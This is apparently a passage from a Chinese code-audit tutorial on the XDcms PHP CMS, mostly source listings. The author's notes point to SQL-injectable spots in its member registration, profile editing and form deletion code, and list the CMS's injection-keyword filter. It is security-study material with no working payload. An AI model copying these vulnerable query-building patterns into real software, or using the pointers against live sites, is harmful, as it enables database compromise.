     75     $htmlhead .= ".ml{color:#FFFFFF;background:url('admin/images/msg.gif') no-repeat 0 0;padding-left:10px;}
    ";
     76     $htmlhead .= ".mr{float:right;background:url('admin/images/msg.gif') no-repeat 0 -34px;4px;font-size:1px;}
    ";
     77     $htmlhead .= "</style></head>
    <body leftmargin='0' topmargin='0'><center>
    <script>
    ";
     78     $htmlfoot  = "</script>
    </center>
    </body>
    </html>
    ";
     79     $litime = ($limittime==0 ? 1000 : $limittime);
     80     $func = '';
     81     if($gourl=='3'){
     82         $gourls='3';
     83     }
     84     if($gourl=='-1' || $gourl=='3'){
     85         if($limittime==0) $litime = 3000;
     86         $gourl = "javascript:history.go(-1);";
     87     }
     88     if($gourl=='0'){
     89         if($limittime==0) $litime = 3000;
     90         $gourl = "javascript:history.back();";
     91     }
     92     if($gourl=='' || $onlymsg==1){
     93         $msg = "<script>alert("".str_replace(""","“",$msg)."");</script>";
     94     }else{
     95         if(preg_match('/close::/i',$gourl)){
     96             $tgobj = trim(eregi_replace('close::', '', $gourl));
     97             $gourl = 'javascript:;';
     98             $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';
    ";
     99         }
    100         
    101         $func .= "      var pgo=0;
    102       function JumpUrl(){
    103         if(pgo==0){ location='$gourl'; pgo=1; }
    104       }
    ";
    105         $rmsg = $func;
    106         $rmsg .= "document.write("<br /><br /><br /><div class='msg'>";
    107         $rmsg .= "<div class='head'><div class='mr'> </div><div class='ml'>".C("message_title")."</div></div>");
    ";
    108         $rmsg .= "document.write("<div class='content'>");
    ";
    109         $rmsg .= "document.write("".str_replace(""","“",$msg)."");
    ";
    110         $rmsg .= "document.write("";
    111         
    112         if($onlymsg==0){
    113             if( $gourl != 'javascript:;' && $gourl != ''){
    114                 $rmsg .= "<br /><a href='{$gourl}'>".C("browser_not_reaction")."</a>";
    115                 $rmsg .= "</div>");
    ";
    116                 $rmsg .= "setTimeout('JumpUrl()',$litime);";
    117             }else{
    118                 $rmsg .= "</div>");
    ";
    119             }
    120         }else{
    121             $rmsg .= "<br/></div>");
    ";
    122         }
    123         $msg  = $htmlhead.$rmsg.$htmlfoot;
    124     }
    125     echo $msg;
    126     if($gourls!='3'){
    127         exit;
    128     }
    129 }
    130 
    131 function header_location($url){
    132     //header("Location:".$url);
    133     echo "<script>location.href='".$url."';</script>";
    134 }
    135 
    136 //根据模型ID返回表名
    137 function modeltable($id){
    138     $model=base::load_cache("cache_model","_model");
    139     $array=get_array($model,"id",$id);
    140     return $array[0]['model_table'];
    141     unset($array);
    142 }
    143 
    144 //根据模型表名返回ID
    145 function modelid($table){
    146     $model=base::load_cache("cache_model","_model");
    147     $array=get_array($model,"model_table",$table);
    148     return $array[0]['id'];
    149     unset($array);
    150 }
    151 
    152 //根据表单ID返回表名
    153 function formtable($id){
    154     $form=base::load_cache("cache_form","_form");
    155     $array=get_array($form,"id",$id);
    156     return $array[0]['form_table'];
    157     unset($array);
    158 }
    159 
    160 //获取IP
    161 function getip() {  
    162     if (getenv ( "HTTP_CLIENT_IP" )) {
    163         $httpip = getenv ( "HTTP_CLIENT_IP" );
    164         return $httpip;
    165     }
    166     if (getenv ( "HTTP_X_FORWARDED_FOR" )) {
    167         $httpip = getenv ( "HTTP_X_FORWARDED_FOR" );
    168         return $httpip;
    169     }
    170     if (getenv ( "HTTP_X_FORWARDED" )) {
    171         $httpip = getenv ( "HTTP_X_FORWARDED" );
    172         return $httpip;
    173     }
    174     if (getenv ( "HTTP_FORWARDED_FOR" )) {
    175         $httpip = getenv ( "HTTP_FORWARDED_FOR" );
    176         return $httpip;
    177     }
    178     if (getenv ( "HTTP_FORWARDED" )) {
    179         $httpip = getenv ( "HTTP_FORWARDED" );
    180         return $httpip;
    181     }
    182     $httpip = $_SERVER ['REMOTE_ADDR'];
    183     
    184     if (!preg_match("/^(d+).(d+).(d+).(d+)$/", $httpip)) { 
    185         $httpip = "127.0.0.1";
    186     }
    187     
    188     return $httpip;
    189 }
    190 
    191 //获取当前时间
    192 function datetime(){
    193     return strtotime("now");
    194     //echo date("Y-n-j H:i:s",strtotime("now"));
    195 }
    196 
    197 //获取当前CMS版本
    198 function cmsversion(){
    199     include(FUN_PATH."version.inc.php");
    200     return CMS_VERSION." ".CMS_RELEASE;
    201 }
    202 
    203 //生成配置文件
    204 function creat_inc($fl,$str){
    205     if(file_exists($fl)){@unlink($fl);}
    206     if(!$fp=@fopen($fl,'w')){
    207         showmsg(C("file_open_error"),"-1");
    208     }
    209     flock($fp,LOCK_EX);
    210     if(!fwrite($fp,$str)){
    211         showmsg(C("file_write_error"),"-1");
    212     }
    213     flock($fp,LOCK_UN);
    214     unset($fp);
    215 }
    216 
    217 //检查字符串长度
    218 function strlength($str,$len){
    219     if(strlen($str)<$len){
    220         return false;
    221     }else{
    222         return $str;
    223     }
    224 }
    225 
    226 //判断是否为数字
    227 function is_num($str){
    228     if(strlen($str)>0){
    229         return preg_match('/[d]/',$str);
    230     }
    231 }
    232 
    233 //正则检查字符串
    234 function check_str($str,$ereg){
    235     if(empty($str)){
    236         return false;
    237     }else{
    238         return preg_match($ereg,$str);
    239     }
    240 }
    241 
    242 //取出模板文件列表
    243 function get_tem_file($file=''){
    244     $dir="";
    245     $i=0;
    246     $folder=TP_PATH.TP_FOLDER."/";
    247     $fp=opendir($folder);
    248     while($files=readdir($fp)){
    249         if ($files!="." && $files!=".." && is_file($folder.$files)){
    250             if(!empty($file)){
    251                 if(substr($files,0,4)==$file){
    252                     $i++;
    253                     $dir[$i]=$files;
    254                 }
    255             }else{
    256                 $i++;
    257                 $dir[$i]=$files;
    258             }
    259         }
    260     }
    261     closedir($fp);
    262     return $dir;
    263 }
    264 
    265 //取得模板风格列表
    266 function get_tem_dir(){
    267     return dir_list(TP_PATH,"admin");
    268 }
    269 
    270 //取得文件夹列表   url:路径   except:要排除的名称
    271 function dir_list($url,$except){
    272     $dir="";
    273     $i=0;
    274     $fp=opendir($url);
    275     while($files=readdir($fp)){
    276         if ($files!="." && $files!=".." && is_dir($url.$files) && $files!=$except){
    277             $i++;
    278             $dir[$i]=$files;
    279         }
    280     }
    281     closedir($fp);
    282     return $dir;
    283 }
    284 
    285 //从数据库读取下属频道
    286 function get_sort($id,$level) {
    287     $row=get_menu($id,1);
    288     if(is_array($row)){
    289         foreach($row as $value){
    290             if ($level>=1){
    291                 $prefix = str_pad("|",$level+1,'--',STR_PAD_RIGHT);
    292             }else{
    293                 $prefix = "";
    294             }
    295             $left_menu[] = array('catname'=>$prefix.$value["catname"],'url' => $value["url"],'catid' => $value["catid"]);
    296             
    297             $sort = get_sort($value["catid"], $level+1);  //如果有子类即循环
    298             if(is_array($sort)){
    299                 foreach($sort as $v){
    300                     $left_menu[] = array('catname'=>$v["catname"],'url' => $v["url"],'catid' => $v["catid"]);
    301                 }
    302             }
    303             
    304         } 
    305     }
    306     return $left_menu;
    307 }
    308 
    309 //获取当前栏目id下所有子栏目数组
    310 function get_menu($parentid=0,$show=0){
    311     $category=base::load_cache("cache_category","_category");
    312     $array=get_array($category,'parentid',$parentid,$show);
    313     return $array;
    314 }
    315 
    316 //根据栏目ID取得栏目数组
    317 function get_category($id){
    318     $category=base::load_cache("cache_category","_category");
    319     $array=get_array($category,'catid',$id,0);
    320     return $array[0];
    321 }
    322 
    323 //根据栏目ID取得栏目名称
    324 function catname($id){
    325     $array=get_category($id);
    326     return $array['catname'];
    327 }
    328 
    329 //根据栏目ID取得栏目URL
    330 function caturl($id){
    331     $array=get_category($id);
    332     return $array['url'];
    333 }
    334 
    335 //根据栏目ID取得模型表名称
    336 function modelname($id){
    337     $array=get_category($id);
    338     return $array['model'];
    339 }
    340 
    341 //获取当前栏目下所有下一级栏目ID(只获取下一级)   形式如:1,2,3
    342 function get_catids($parentid=0){
    343     $array=get_menu($parentid,0);
    344     $catid="";
    345     if(!empty($array)){
    346         foreach($array as $k=>$v){
    347             $catid.=",".$v['catid'];
    348         }
    349     }
    350     return ltrim($catid,",");
    351 }
    352 
    353 //获取当前栏目下所有子级栏目ID(包括下属三级、四级...)   形式如:,1,2,3
    354 function get_all_catids($parentid=0){
    355     $array=get_menu($parentid,0);
    356     if(!empty($array)){
    357         foreach($array as $k=>$v){
    358             $catid.=",".$v['catid'];
    359             $catid.=get_all_catids($v['catid']);
    360         }
    361     }
    362     return $catid;
    363 }
    364 
    365 /*
    366  * 条件取出缓存中数组
    367  * name数组名称   field条件字段   value条件值  show显示条件(1为只显示只在导航显示的栏目,0为不限)
    368  * 
    369  */
    370 function get_array($name,$field,$value,$show=0){
    371     for($row = 0;$row <sizeof($name);$row++){
    372         if($show==1){
    373             if($name[$row][$field] == $value&&$name[$row]['is_show'] == 1){
    374                 $new[] = $name[$row];
    375             }
    376         }else{
    377             if($name[$row][$field] == $value){
    378                 $new[] = $name[$row];
    379             }
    380         }
    381   
    382     }  
    383     for($row = 0;$row <sizeof($new);$row++){  
    384         $array[]=$new[$row];
    385     } 
    386     return $array;
    387 }
    388 
    389 //判断栏目是否有父栏目并返回ID   tid形式如:,1,2,3
    390 function is_parent($catid){
    391     $tid="";
    392     $array=get_category($catid);
    393     $parentid=$array['parentid'];
    394     if(empty($parentid)){
    395         $tid="";
    396     }else{
    397         $tid.=",".$parentid;
    398         $tid.=is_parent($parentid);
    399     }
    400     return $tid;
    401 }
    402 
    403 //关键词关连链接
    404 function addlink($content){
    405     $keywords=base::load_cache("cache_keywords","_keywords");
    406     if(!empty($keywords)){
    407         foreach($keywords as $link){
    408             $search[]=$link['title'];
    409             $replace[]="<a href='".$link['url']."' target='_blank'>".$link['title']."</a>";
    410         }
    411     }
    412     $search && $content=str_replace_limits($search,$replace,$content,1);
    413     return $content;
    414 }
    415 
    416 function str_replace_limits($search, $replace, $subject, $limit=-1) {
    417     if (is_array($search)) {
    418          foreach ($search as $k=>$v) {
    419              $search[$k] = "/(?!<[^>]+)".preg_quote($search[$k],'/')."(?![^<]*>)/";
    420         }
    421     }else{
    422          $search = "/(?!<[^>]+)".preg_quote($search,'/')."(?![^<]*>)/";
    423     }
    424     return preg_replace($search, $replace, $subject, $limit);
    425 }
    426 
    427 //清除
    428 function html_decode($content){
    429     return stripslashes(htmlspecialchars_decode($content));
    430 }
    431 
    432 //页面访问路径
    433 function get_guide($catid){
    434     $parentid=ltrim(is_parent($catid),",");
    435     $array=array_filter(array_reverse(explode(",",$parentid)));
    436     $guide="<a href='/'>首页</a> > ";
    437     foreach($array as $v){
    438         $category_arr=get_category($v);
    439         $guide.="<a href='".$category_arr['url']."'>".$category_arr['catname']."</a> > ";
    440     }
    441     $cate_arr=get_category($catid);
    442     $guide.="<a href='".$cate_arr['url']."'>".$cate_arr['catname']."</a>";
    443     return $guide;
    444 }
    445 
    446 //删除数组中某个元素
    447 function array_element($array,$element){
    448     foreach($array as $k=>$v){
    449         if($v==$element){
    450             //unset($array[$k]); 个别php环境下不能删除指定的元数,使用下列清空数组值
    451             $array[$k]="";
    452         }
    453     }
    454     $array=array_clear($array);
    455     sort($array);
    456     return $array;
    457 }
    458 
    459 //清除数组中空元素
    460 function array_clear($arr){
    461     if(is_array($arr)){
    462         function odds($var){
    463             return($var<>'');
    464         }
    465         return (array_filter($arr, "odds"));
    466     }else{
    467         return $arr;
    468     }
    469 }
    470 
    471 function array_merger($a,$b) { 
    472     foreach ($b as $k => $v) { 
    473         if(!is_array($v) && !empty($v)) { 
    474             array_push($a,$v);
    475         } 
    476     } 
    477     return $a;
    478 }
    479 
    480 //获取栏目权限
    481 function get_power($group,$groupid,$catid){
    482     if(file_exists(CACHE_SYS_PATH.'cache_category_power_'.$catid.'.php')){
    483         $power=base::load_cache('cache_category_power_'.$catid,'_power');
    484         if(empty($power)){
    485             return 100;
    486         }else{
    487             return $power[$group.'_'.$groupid]?1:0;
    488         }
    489     }else{
    490         return 100;
    491     }
    492 }
    493 
    494 //获取文件后缀名
    495 function get_suffix($filename) {
    496     return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
    497 }
    498 
    499 //密码加密
    500 function password($password, $encrypt='') {
    501     $pwd = array();
    502     $pwd['encrypt'] =  $encrypt ? $encrypt : get_random();
    503     $password_md5=md5(trim($password));
    504     $nums=strlen($password_md5) - strlen($pwd['encrypt']);
    505     $pwd['password'] = md5(substr_replace($password_md5,$pwd['encrypt'],$nums));
    506     return $encrypt ? $pwd['password'] : $pwd;
    507 }
    508 
    509 //生成随机字符串
    510 function get_random($length = "") {
    511     $length =  $length ? $length : rand(6,12);
    512     $chars='123456789abcdefghijklmnpqrstuvwxyz';
    513     $hash = '';
    514     $max = strlen($chars) - 1;
    515     for($i = 0; $i < $length; $i++) {
    516         $hash .= $chars[mt_rand(0, $max)];
    517     }
    518     return $hash;
    519 }
    520 
    521 
    522 //公告
    523 function notice(){
    524     include(FUN_PATH."version.inc.php");
    525     $url=base64_decode("aHR0cDovL3d3dy54ZGNtcy5jbi91cGRhdGUvZ2JrLnBocD92PQ==").CMS_RELEASE;
    526     return $url;
    527 }
    528 
    529 function left_bottom_menu(){
    530     $text=base64_decode("PGRsIGNsYXNzPSJoZWxwIj4NCgk8ZGQgY2xhc3M9InQzIj48YSBocmVmPSJodHRwOi8vd3d3Lmlzenp6LmNvbS90aHJlYWQtMzAwLTEtMS5odG1sIiB0YXJnZXQ9Il9ibGFuayI+z7XNs8q508O9zLPMPC9hPjwvZGQ+DQogICAgPGRkIGNsYXNzPSJ0NCI+PGEgaHJlZj0iaHR0cDovL3d3dy5pc3p6ei5jb20vdGhyZWFkLTc1NC0xLTEuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPrDmyKjJ6sP3PC9hPjwvZGQ+DQo8L2RsPg==");
    531     return $text;
    532 }
    533 
    534 function f_p(){
    535     return base64_decode("UG93ZXJlZCBieSA8YSBocmVmPSdodHRwOi8vd3d3LnhkY21zLmNuJyB0YXJnZXQ9J19ibGFuayc+WERjbXM8L2E+");
    536 }
    537 
    538 //生成缩略图
    539 function thumb($f,$w,$h){
    540     if(file_exists($f)){
    541         $image=getimagesize($f);
    542         if($image[0]<=$w){
    543             $file=$f;
    544         }else{
    545             $filename=array_pop(explode("/",$f));
    546             $filepath=str_replace($filename,"",$f);
    547             $filename=explode(".",$filename);
    548             $file=$filepath."thumb_".$filename[0]."_".$w."_".$h.".".$filename[1];
    549             if(!file_exists($file)){
    550                 switch($image[2]){
    551                     case 1 :
    552                         $im = imagecreatefromgif($f);
    553                         break;
    554                     case 2 :
    555                         $im = imagecreatefromjpeg($f);
    556                         break;
    557                     case 3 :
    558                         $im = imagecreatefrompng($f);
    559                         break;
    560                 }
    561                 $new = imagecreatetruecolor($w,$h);
    562                 imagecopyresampled($new,$im, 0, 0, 0, 0,$w, $h, $image[0], $image[1]);
    563                 imagejpeg($new,$file);
    564                 imagedestroy($im);
    565                 imagedestroy($new);
    566             }
    567         }
    568     }else{
    569         $file=CMS_URL.'uploadfile/nopic.gif';
    570     }
    571     
    572     return $file;
    573 }
    574 
    575 //删除文件夹及下属文件
    576 function deldir($dir) {
    577     if(file_exists($dir)){
    578         //先删除目录下的文件:
    579         $dh=opendir($dir);
    580         while ($file=readdir($dh)) {
    581             if($file!="." && $file!="..") {
    582                 $fullpath=$dir."/".$file;
    583                 if(!is_dir($fullpath)) {
    584                     unlink($fullpath);
    585                 } else {
    586                     deldir($fullpath);
    587                 }
    588             }
    589         }
    590         
    591         closedir($dh);
    592         //删除当前文件夹:
    593         if(rmdir($dir)) {
    594             return true;
    595         } else {
    596             return false;
    597         }
    598     }
    599 }
    600 
    601 //生成html
    602 function creat_html($file){
    603     $data=ob_get_contents();   //返回缓冲区的内容
    604     ob_clean();
    605     $fp=fopen($file,'w');
    606     flock($fp,LOCK_EX);
    607 //    if(!fwrite($fp,$data)){
    608 //        showmsg(C('file_write_error'),'-1');
    609 //    }
    610     fwrite($fp,$data);
    611     flock($fp,LOCK_UN);
    612     fclose($fp);
    613 }
    614 
    615 //发送邮件
    616 function sendmail($title,$text){
    617     $email=base::load_cache("cache_set_email","_email");
    618     $contact=base::load_cache("cache_set_contact","_contact");
    619     $smtpserver =$email['mailserver'];//SMTP服务器
    620     $smtpserverport =$email['mailport'];//SMTP服务器端口
    621     $smtpusermail = $email['mailadd'];//SMTP服务器的用户邮箱
    622     $smtpemailto =$contact["email"];//发送给谁
    623     $smtpuser =$email['username'];//SMTP服务器的用户帐号
    624     $smtppass =$email['password'];//SMTP服务器的用户密码
    625     $mailsubject =$title;//邮件主题
    626     $mailbody =$text;//邮件内容
    627     $mailtype = "HTML";//邮件格式(HTML/TXT),TXT为文本邮件
    628     
    629     include LIB_PATH.'email.class.php';
    630     $smtp = new smtp($smtpserver,$smtpserverport,true,$smtpuser,$smtppass);//这里面的一个true是表示使用身份验证,否则不使用身份验证.
    631     $smtp->debug = FALSE;//是否显示发送的调试信息
    632     $smtp->sendmail($smtpemailto, $smtpusermail, $mailsubject, $mailbody, $mailtype);
    633 }
    634 ?>
    fun.inc.php

          

     1 <?php
     2 session_start();
     3 if(!defined('IN_CMS')) die('Illegal link');
     4 
     5 $config_arr=base::load_cache('cache_set_config','_config');
     6 $contact_arr=base::load_cache('cache_set_contact','_contact');
     7 //$config_arr['copyright'] .= f_p();
     8 assign("config",$config_arr);   //加载网站配置
     9 assign("pre",DB_PRE);  //加载数据库前辍
    10 assign("adminuser",$_SESSION['admin']);  //加载管理员用户名
    11 assign("contact",$contact_arr);   //加载联系方式
    12 
    13 assign('css_path',SYS_DIR.'/'.TP_DIR.'/'.TP_FOLDER.'/css/');   //前台css路径
    14 assign('image_path',SYS_DIR.'/'.TP_DIR.'/'.TP_FOLDER.'/images/');   //前台image路径
    15 assign('js_path',SYS_DIR.'/'.TP_DIR.'/'.TP_FOLDER.'/js/');   //前台image路径
    16 
    17 $page=isset($_GET['page'])?(int)$_GET['page']:0;
    18 $page=$page==0?1:$page;
    19 
    20 //接收参数
    21 $m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";
    22 $c=safe_replace(safe_html(isset($_GET["c"]))) ? safe_replace(safe_html($_GET["c"])) : "index";
    23 $f=safe_replace(safe_html(isset($_GET["f"]))) ? safe_replace(safe_html($_GET["f"])) : "init";
    24 
    25 //判断模块是否存在
    26 if(!file_exists(MOD_PATH.$m)){
    27     showmsg(C('module_not_exist'),'/');
    28 }
    29 
    30 //判断类文件是否存在
    31 if(!file_exists(MOD_PATH.$m."/".$c.".php")){
    32     showmsg(C('class_not_exist'),'/');
    33 }
    34 
    35 include MOD_PATH.$m."/".$c.".php";   //调用类
    36     
    37 //判断类是否存在
    38 if(!class_exists($c)){
    39     showmsg(C('class_not_exist'),'/');
    40 }
    41 
    42 $p=new $c();  //实例化
    43 $p->$f();   //调用方法
    44 ?>
    global.inc.php

    注:找到参数输入位置

    a、safe_html()过滤==>>跟踪该函数:检查该函数是否可以绕过

    1 //安全过滤函数
    2 function safe_html($str){
    3     if(empty($str)){return;}
    4     if (preg_match('/ select | insert |  update |  and |  in |  on |  left | joins |  delete |\%|=|/*|*|  union |../|./|  from |  where |  group | into |load_file
    5     |outfile/i',$str)){showmsg(C('error'),'-1');}
    6     return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
    safe_html

    #星号,点等符号被过滤,很难进行绕过操作

    b、检查safe_replace

    //安全过滤函数
    function safe_replace($string) {
        $string = str_replace('%20','',$string);
        $string = str_replace('%27','',$string);
        $string = str_replace('%2527','',$string);
        $string = str_replace('*','',$string);
        $string = str_replace('"','&quot;',$string);
        $string = str_replace("'",'',$string);
        $string = str_replace('"','',$string);
        $string = str_replace(';','',$string);
        $string = str_replace('<','&lt;',$string);
        $string = str_replace('>','&gt;',$string);
        $string = str_replace("{",'',$string);
        $string = str_replace('}','',$string);
        $string = str_replace('\','',$string);
        return $string;
    }
    safe_replace

    *传入的参数被这两个函数双层过滤,很难进行注入

     

    突破思路:寻找$_POST或cookie

    注:本次实验,找用户登录界面的注入,非管理员

    a、发现content.php中delete函数对接收参数没有进行过滤,可检查是否可以删除重要文件  【本次实验不进行深究】

     1 <?php
     2 class content extends Checklogin{
     3 
     4     public function init(){
     5         $formid=isset($_GET['formid'])?intval($_GET['formid']):0;
     6         $form=base::load_cache("cache_form","_form");
     7         $array=get_array($form,'id',$formid,0);
     8         assign('form',$array[0]);
     9         template('content_list','admin/form');
    10     }
    11     
    12     public function show(){
    13         $id=isset($_GET['id'])?intval($_GET['id']):0;
    14         $formid=isset($_GET['formid'])?intval($_GET['formid']):0;
    15         $form=formtable($formid);
    16         $rs=$this->mysql->get_one("select * from ".DB_PRE.$form." where `id`=".$id);
    17         
    18         $field=base::load_cache("cache_form_".$form,"_field");
    19         $fields="";
    20         foreach($field as $value){
    21             $fields.="<tr>
    ";
    22             $fields.="<td align="right">".$value['name'].":</td>
    ";
    23             $fields.="<td colspan="3">".$rs[$value['field']]."</td>
    ";
    24             $fields.="</tr>
    ";
    25         }
    26         
    27         assign("rs",$rs);
    28         assign("fields",$fields);
    29         assign("formid",$formid);
    30         template('content_show','admin/form');
    31     }
    32     
    33     public function delete(){
    34         if(isset($_POST['id'])){
    35             $formid=isset($_POST['formid'])?intval($_POST['formid']):0;
    36             foreach($_POST['id'] as $id){
    37                 $this->del_data($id,$formid);
    38             }
    39         }elseif(isset($_GET['id'])){
    40             $id=$_GET['id'];
    41             $formid=isset($_GET['formid'])?intval($_GET['formid']):0;
    42             $this->del_data($id,$formid);
    43         }else{
    44             showmsg(C('error'),'-1');
    45         }
    46         showmsg(C('delete_success'),'-1');
    47     }
    48     
    49     //处理数据删除函数
    50     private function del_data($id,$formid){
    51         $form=formtable($formid);
    52         $this->mysql->db_delete($form,'`id`='.$id);
    53     }
    54 }
    55 ?>
    View Code

    b、form/lists.php为验证码机制,可深入分析,现不做分析  【有验证码的话,注入比较困难,但并非不能注入】

    <?php
    class lists extends db{
    
        public function init(){
            $input=base::load_class('input');
            $formid=isset($_GET['formid'])?intval($_GET['formid']):0;
            $form_arr=base::load_cache("cache_form","_form");
            $form=get_array($form_arr,'id',$formid,0);
    
            $field=base::load_cache("cache_form_".$form[0]['form_table'],"_field");
            $fields="";
            if(is_array($field)){
                foreach($field as $value){
                    $fields.="<tr>
    ";
                    $fields.="<td align="right">".$value['name'].":</td>
    ";
                    $fields.="<td>".$input->$value['formtype']($value['field'],'',$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>
    ";
                    $fields.="</tr>
    ";
                }
                
                //是否显示验证码
                if($form['0']['is_code']==1){
                    $fields.="<tr>
    ";
                    $fields.="<td align="right">验证码:</td>
    ";
                    $fields.="<td><input type="text" name="verifycode" id="verifycode" class="txt" /><img src="admin/verifycode.php" border="0" alt="验证码,看不清楚?请点击刷新验证码" onClick="this.src=this.src+'?'+Math.random();" class="codeimage"/></td>
    ";
                    $fields.="</tr>
    ";
                }
            }
    
            assign("form",$form[0]);
            assign("fields",$fields);
            assign('menu',get_menu(0,1));
            template("form_list");
        }
        
        public function add_save(){
            $formid=safe_html($_GET['formid']);
            $form_arr=base::load_cache("cache_form","_form");
            $form=get_array($form_arr,'id',$formid,0);
            $fields=$_POST['fields'];
            $verifycode=$_POST['verifycode'];
            
            //验证码
            if($form['0']['is_code']==1 && $verifycode!=$_SESSION['code']){
                showmsg(C('verifycode_error'),'-1');
            }
            
            if(empty($fields['title'])||empty($formid)){
                showmsg(C('material_not_complete'),'-1');
            }
    
            $form=formtable($formid);
            if(empty($form)){
                showmsg(C('error'),'-1');
            }
            
            $table=$this->mysql->show_table();   //判断数据表是否存在
            if(!in_array(DB_PRE.$form,$table)){
                showmsg(C('table_not_exist'),'-1');
            }
    
            //添加附加表
            $sql_fields='`inputtime`';
            $sql_value=datetime();
            $send_text='留言内容:<br>';
            
            foreach($fields as $key=>$value){
                $sql_fields.=",`".safe_replace($key)."`";
                if(is_array($value)){
                    $value_arr='';
                    foreach($value as $k=>$v){
                        $value_arr.=$v.',';
                    }
                    $value=$value_arr;
                }
                $sql_value.=","".safe_replace(safe_html($value)).""";
                $send_text.=safe_replace(safe_html($value))."<br>";
            }
            
            $this->mysql->query("insert into ".DB_PRE.$form."({$sql_fields}) values ({$sql_value})");
            $rs=$this->mysql->get_one("select * from ".DB_PRE."form where id=".$formid);
            if($rs['is_email']==1){
                sendmail('有人给您留言了!',$send_text);
            }
            showmsg(C('add_success'),'-1');
        }
    }
    ?>
    View Code

    c、寻找member/index.php

      1 <?php
      2 class index extends db{    
      3     function __construct(){
      4         parent::__construct();
      5         assign('menu',get_menu(0,1));
      6     }
      7     
      8     public function init(){ 
      9         $this->member_info();
     10         template("member/index");
     11     }
     12     
     13     public function register(){
     14         $member_user=Cookie::_getcookie('member_user');
     15         $member_userid=Cookie::_getcookie('member_userid');
     16         if(!empty($member_user)||!empty($member_userid)){
     17             showmsg(C("not_register"),"index.php?m=member");
     18         }
     19         $input=base::load_class('input');
     20         
     21         //加载注册字段
     22         $field=base::load_cache("cache_field_member","_field");
     23         $fields="";
     24         if(is_array($field)){
     25             foreach($field as $value){
     26                 if($value['is_register']==1){
     27                     $fields.="<tr>
    ";
     28                     $fields.="<td align="right">".$value['name'].":</td>
    ";
     29                     $fields.="<td>".$input->$value['formtype']($value['field'],'',$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>
    ";
     30                     $fields.="</tr>
    ";
     31                 }
     32             }
     33         }
     34         
     35         assign("fields",$fields);
     36         template("member/register");
     37     }
     38     
     39     public function register_save(){
     40         $username=safe_html($_POST['username']);
     41         $password=$_POST['password'];
     42         $password2=$_POST['password2'];
     43         $fields=$_POST['fields'];
     44         if(empty($username)||empty($password2)||empty($password)){
     45             showmsg(C('material_not_complete'),'-1');
     46         }
     47         if(!strlength($username,5)){
     48             showmsg(C('username').C('str_len_error').'5','-1');
     49         }
     50         if(!strlength($password,5)){
     51             showmsg(C('password').C('str_len_error').'5','-1');
     52         }
     53         if($password!=$password2){
     54             showmsg(C('password_different'),'-1');
     55         }
     56         $password=md5(md5($password));
     57         
     58         $user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
     59         if($user_num>0){
     60             showmsg(C('member_exist'),'-1');
     61         }
     62         $ip=safe_replace(safe_html(getip()));
     63         $this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
     64         $last_id=$this->mysql->insert_id();
     65         
     66         //插入附属字段
     67         $field_sql='';
     68         foreach($fields as $k=>$v){
     69             $f_value=$v;
     70             if(is_array($v)){
     71                 $f_value=implode(',',$v);
     72             }
     73             $field_sql.=",`{$k}`='{$f_value}'";
     74         }
     75         $field_sql=substr($field_sql,1);
     76         $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
     77         $query=$this->mysql->query($field_sql);
     78         
     79         showmsg(C('register_success'),'index.php?m=member&f=register');
     80     }
     81     
     82     public function login(){
     83         template("member/login");
     84     }
     85     
     86     public function login_save(){
     87         $username = safe_html($_POST['username']);
     88         $password = safe_html($_POST['password']);
     89         
     90         if(empty($username)||empty($password)){
     91             showmsg(C('user_pass_empty'),'-1');
     92         }
     93         
     94         $sql="select * from ".DB_PRE."member where `username`='$username'";
     95         if($this->mysql->num_rows($sql)==0){
     96             showmsg(C('member_not_exist'),'-1');
     97         }
     98         
     99         $password=md5(md5($password));
    100         $rs=$this->mysql->get_one($sql);
    101         if($password!=$rs['password']){
    102             showmsg(C('password_error'),'-1');
    103         }
    104         
    105         if($rs['is_lock']==1){
    106             showmsg(C('user_lock'),'-1');
    107         }
    108         
    109         $logins=$rs["logins"]+1;
    110         $ip=safe_replace(safe_html(getip()));
    111         $this->mysql->db_update("member","`last_ip`='".$ip."',`last_time`=".datetime().",`logins`=".$logins,"`username`='$username'");
    112         
    113         Cookie::_setcookie(array('name'=>'member_user','value'=>$username));
    114         Cookie::_setcookie(array('name'=>'member_userid','value'=>$rs['userid']));
    115         Cookie::_setcookie(array('name'=>'member_groupid','value'=>$rs['groupid']));
    116         unset($rs);
    117         showmsg(C("login_success"),"index.php?m=member");
    118     }
    119     
    120     public function edit(){
    121         $member_user=Cookie::_getcookie('member_user');
    122         $userid=intval(Cookie::_getcookie('member_userid'));
    123         if(empty($member_user)||empty($userid)){
    124             showmsg(C("admin_not_exist"),"index.php?m=member&f=login");
    125         }
    126         $info=$this->mysql->get_one("select * from ".DB_PRE."member where `userid`=$userid");
    127         
    128         $input=base::load_class('input');
    129         $field=base::load_cache("cache_field_member","_field");
    130         $fields="";
    131         foreach($field as $value){
    132             $fields.="<tr>
    ";
    133             $fields.="<td align="right">".$value['name'].":</td>
    ";
    134             $fields.="<td>".$input->$value['formtype']($value['field'],$info[$value['field']],$value['width'],$value['height'],$value['initial'])." ".$value['explain']."</td>
    ";
    135             $fields.="</tr>
    ";
    136         }
    137         
    138         assign('member',$info);
    139         assign("fields",$fields);
    140         template("member/edit");
    141     }
    142     
    143     public function edit_save(){
    144         $this->member_info();
    145         $userid=intval(Cookie::_getcookie('member_userid'));
    146         $fields=$_POST['fields'];
    147         //修改资料
    148         $field_sql='';
    149         foreach($fields as $k=>$v){
    150             $f_value=$v;
    151             if(is_array($v)){
    152                 $f_value=implode(',',$v);
    153             }
    154             $field_sql.=",`{$k}`='".safe_html($f_value)."'";
    155         }
    156         $field_sql=substr($field_sql,1);
    157         $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$userid}";
    158         $query=$this->mysql->query($field_sql);
    159         
    160         showmsg(C('update_success'),'index.php?m=member&f=edit');
    161     }
    162     
    163     public function password(){
    164         $this->member_info();
    165         template("member/password");
    166     }
    167     
